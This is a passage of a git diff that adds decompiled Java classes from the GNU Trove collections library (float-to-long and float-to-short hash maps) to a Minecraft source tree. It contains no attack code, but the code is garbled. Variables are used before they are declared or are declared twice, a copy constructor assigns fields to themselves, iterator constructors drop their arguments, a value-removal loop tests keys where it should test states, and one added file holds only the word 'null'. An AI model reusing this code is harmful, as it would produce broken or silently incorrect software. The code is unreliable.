+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    float[] oldKeys = _set;
+    long[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new float[newCapacity];
+    _values = new long[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        float o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public long put(float key, long value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public long putIfAbsent(float key, long value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private long doPut(float key, long value, int index)
+  {
+    long previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Float, ? extends Long> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Float, ? extends Long> entry : map.entrySet()) {
+      put(((Float)entry.getKey()).floatValue(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+  public void putAll(TFloatLongMap map)
+  {
+    ensureCapacity(map.size());
+    TFloatLongIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public long get(float key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public long remove(float key)
+  {
+    long prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TFloatSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public float[] keys()
+  {
+    float[] keys = new float[size()];
+    float[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public float[] keys(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TLongCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public long[] values()
+  {
+    long[] vals = new long[size()];
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public long[] values(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(long val)
+  {
+    byte[] states = _states;
+    long[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(float key)
+  {
+    return contains(key);
+  }
+  
+
+  public TFloatLongIterator iterator()
+  {
+    return new TFloatLongHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TFloatProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TFloatLongProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] keys = _set;
+    long[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TLongFunction function)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TFloatLongProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    float[] keys = _set;
+    long[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(float key)
+  {
+    return adjustValue(key, 1L);
+  }
+  
+
+  public boolean adjustValue(float key, long amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public long adjustOrPutValue(float key, long adjust_amount, long put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    long newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      long newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TFloatSet
+  {
+    protected TKeyView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TFloatLongHashMap.TFloatLongKeyHashIterator(TFloatLongHashMap.this, TFloatLongHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return TFloatLongHashMap.this.contains(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!TFloatLongHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TFloatSet)) {
+        return false;
+      }
+      TFloatSet that = (TFloatSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TLongCollection
+  {
+    protected TValueView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TFloatLongHashMap.TFloatLongValueHashIterator(TFloatLongHashMap.this, TFloatLongHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return values();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      long[] values = _values;
+      float[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0F) && (set[i] != 2.0F) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TFloatLongKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TFloatLongKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TFloatLongValueHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TFloatLongValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TFloatLongHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatLongIterator
+  {
+    TFloatLongHashIterator(TFloatLongHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public float key()
+    {
+      return _set[_index];
+    }
+    
+    public long value()
+    {
+      return _values[_index];
+    }
+    
+    public long setValue(long val)
+    {
+      long old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TFloatLongMap)) {
+      return false;
+    }
+    TFloatLongMap that = (TFloatLongMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    long[] values = _values;
+    byte[] states = _states;
+    long this_no_entry_value = getNoEntryValue();
+    long that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        float key = _set[i];
+        long that_value = that.get(key);
+        long this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TFloatLongProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(float key, long value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeFloat(_set[i]);
+        out.writeLong(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      float key = in.readFloat();
+      long val = in.readLong();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TFloatObjectHashMap.java b/src/minecraft/gnu/trove/map/hash/TFloatObjectHashMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TFloatObjectHashMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/gnu/trove/map/hash/TFloatShortHashMap.java b/src/minecraft/gnu/trove/map/hash/TFloatShortHashMap.java
new file mode 100644
index 0000000..ebf3d99
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TFloatShortHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TFloatShortHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.iterator.TFloatShortIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TFloatShortMap;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TFloatShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatShortHashMap
+  extends TFloatShortHash
+  implements TFloatShortMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient short[] _values;
+  
+  public TFloatShortHashMap() {}
+  
+  public TFloatShortHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatShortHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TFloatShortHashMap(int initialCapacity, float loadFactor, float noEntryKey, short noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatShortHashMap(float[] keys, short[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TFloatShortHashMap(TFloatShortMap map)
+  {
+    super(map.size());
+    if ((map instanceof TFloatShortHashMap)) {
+      TFloatShortHashMap hashmap = (TFloatShortHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0F) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    float[] oldKeys = _set;
+    short[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new float[newCapacity];
+    _values = new short[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        float o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public short put(float key, short value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public short putIfAbsent(float key, short value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private short doPut(float key, short value, int index)
+  {
+    short previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Float, ? extends Short> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Float, ? extends Short> entry : map.entrySet()) {
+      put(((Float)entry.getKey()).floatValue(), ((Short)entry.getValue()).shortValue());
+    }
+  }
+  
+
+  public void putAll(TFloatShortMap map)
+  {
+    ensureCapacity(map.size());
+    TFloatShortIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public short get(float key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public short remove(float key)
+  {
+    short prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TFloatSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public float[] keys()
+  {
+    float[] keys = new float[size()];
+    float[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public float[] keys(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TShortCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public short[] values()
+  {
+    short[] vals = new short[size()];
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public short[] values(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(short val)
+  {
+    byte[] states = _states;
+    short[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(float key)
+  {
+    return contains(key);
+  }
+  
+
+  public TFloatShortIterator iterator()
+  {
+    return new TFloatShortHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TFloatProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TFloatShortProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] keys = _set;
+    short[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TShortFunction function)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TFloatShortProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    float[] keys = _set;
+    short[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(float key)
+  {
+    return adjustValue(key, (short)1);
+  }
+  
+
+  public boolean adjustValue(float key, short amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; short[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((short)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public short adjustOrPutValue(float key, short adjust_amount, short put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    short newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; short[] tmp25_20 = _values;short newValue = tmp25_20[tmp25_23] = (short)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TFloatSet
+  {
+    protected TKeyView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TFloatShortHashMap.TFloatShortKeyHashIterator(TFloatShortHashMap.this, TFloatShortHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return TFloatShortHashMap.this.contains(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
